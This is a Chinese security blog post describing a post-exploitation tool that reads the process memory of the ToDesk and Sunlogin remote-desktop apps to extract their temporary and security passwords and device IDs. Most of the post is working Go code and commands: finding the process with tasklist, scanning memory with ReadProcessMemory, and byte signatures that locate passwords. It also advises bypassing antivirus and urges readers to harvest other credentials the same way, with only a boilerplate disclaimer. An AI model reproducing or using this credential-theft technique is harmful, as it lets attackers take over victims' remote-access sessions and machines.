应用内存中的后渗透利用-远程工具密码读取

华盟原创文章投稿奖励计划

文章作者:先知社区(释*e)

文章来源:https://xz.aliyun.com/t/15834

1

思路

版本的todesk和向日葵已经无法从配置文件获取密码,而且常规的替换手法也已经失效通过学习yangliukk师傅分享的思路,搞了个CMD下从内存获取密码的工具。

首先获取对应进程的pid,选择为console的进程

tasklist | find /i "todesk"

自动草稿

然后对指定pid的内存进行dump出来,使用二进制工具进行分析,就可以找到相关的密码

自动草稿

但是dump出来的文件大小都在几百M或者1G以上,就想着实现自动化分析处理

2

提取特征-todesk

todesk

像ID、手机号、版本之类的信息可以通过读取配置文件来解决,不需要去内存中检索
获取pid的文件路径

execPath, err := getExecutablePath(int(*pid))if err != nil {fmt.Printf("无法获取PID %d的可执行文件路径: %v\n", *pid, err) return}

获取配置文件信息

// 获取目录路径dir := filepath.Dir(execPath)configPath := filepath.Join(dir, "config.ini")// 读取并输出config.ini中的字段clientId, version, loginPhone, authMode, err := readConfig(configPath)if err != nil {fmt.Println("无法读取config.ini文件:", err) return}// 输出结果fmt.Println("\nID:", clientId)fmt.Println("Version:", version)fmt.Println("LoginPhone:", loginPhone)

获取密码,我这里使用的是先获取当天时间,然后在内存中搜索这个字符串,提取前1kb的内存,遍历这1kb里的所有字符串。也可以通过正则的方式去匹配。

if mbi.State == MEM_C && mbi.Protect == PAGE_R && mbi.Type == MEM_P { // 创建缓冲区用于读取内存buffer := make([]byte, mbi.RegionSize) var bytesRead uintptrreadP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead))) // 在内存块中查找目标字符串index := bytes.Index(buffer, searchBytes)if index != -1 { // 计算前 1024 字节的起始地址 start := index - 1024if start < 0 { start = 0} // 提取前1024字节内容data := buffer[start : index+len(searchBytes)] // 从数据中提取所有字符串foundStrings := extractStrings(data)

而根据配置文件中authMode的值进行一个判断,当为0时,代表仅使用了临时密码。为1时,仅使用了安全密码,为2时,同时使用。

if authMode == "0" {fmt.Println("\n目标仅使用临时密码登陆")fmt.Println("临时密码:", data[0])} else if authMode == "1" {fmt.Println("\n目标仅使用安全密码登陆")fmt.Println("临时密码: ", data[0])fmt.Println("安全密码: ", data[1])} else {fmt.Println("\n临时密码和安全密码都可以使用")fmt.Println("临时密码: ", data[0])fmt.Println("安全密码: ", data[1])}

3

提取特征-向日葵

向日葵特征:

<f f=yahei.28 c=color_edit >xxxxxx</f>

大概思路:查找<f f=yahei.28 c=color_edit >的字符串,然后往后提取6、7、8、13位,且是</f>结尾

临时密码6位,自定义密码6-8位,ID是13位

buffer := make([]byte, mbi.RegionSize)var bytesRead uintptrreadP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))// "<f f=yahei.28 c=color_edit >"searchBytes := []byte{0x3C, 0x66, 0x20, 0x66, 0x3D, 0x79, 0x61, 0x68, 0x65, 0x69, 0x2E, 0x32, 0x38, 0x20, 0x63, 0x3D,0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x65, 0x64, 0x69, 0x74, 0x20, 0x3E,}// "</f>" 的16进制endTag := []byte{0x3C, 0x2F, 0x66, 0x3E}

因为如果使用了临时密码,每次连接后默认自动更新,因此内存中会有多个密码。

提取内存地址最后的那个为当前密码(非100%正确),并记录所有密码为历史密码,如果不对可以从历史密码里尝试

// 检查字符串是否以 "</f>" 结尾if bytes.Equal(buffer[endOfString:endOfString+len(endTag)], endTag) { // 如果是13位字符串,且不包含 `<`,则记录为 IDif length == 13 && !bytes.Contains(extractedString, []byte("<")) {id = string(extractedString)}if length >= 6 && length <= 8 {if _, exists := allPasswordsMap[string(extractedString)]; !exists {allPasswordsMap[string(extractedString)] = true }if mbi.BaseA+uintptr(index) > lastPasswordAddress {lastPassword = string(extractedString)lastPasswordAddress = mbi.BaseA + uintptr(index)}}}

最后结果输出

// 输出最后找到的密码和 IDif id != "" {fmt.Printf("识别码: %s\n", id)}if lastPassword != "" {fmt.Printf("密码: %s \n", lastPassword)}// 输出去重后的历史密码if len(allPasswordsMap) > 0 {fmt.Println("\n历史密码:")for pwd := range allPasswordsMap {fmt.Println(pwd)}}fmt.Println("\n密码如果不对就从历史密码里尝试...")

4

总结

理论上是通杀市面很多软件的,但是因为涉及到读取内存,会触发杀软的一些规则,需要自行bypass一下。

可以思考一下还有哪些高价值凭据可以通过这种方式进行获取

项目地址

https://github.com/milu001/sundeskQ

免责声明:本工具仅供安全研究与学习之用,禁止用于任何非法活动。如用于其他用途,由使用者承担全部法律及连带责任,与工具作者无关。
用法:

自动草稿

最新版todesk

自动草稿


最新版向日葵

自动草稿

文章来源:李白你好

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容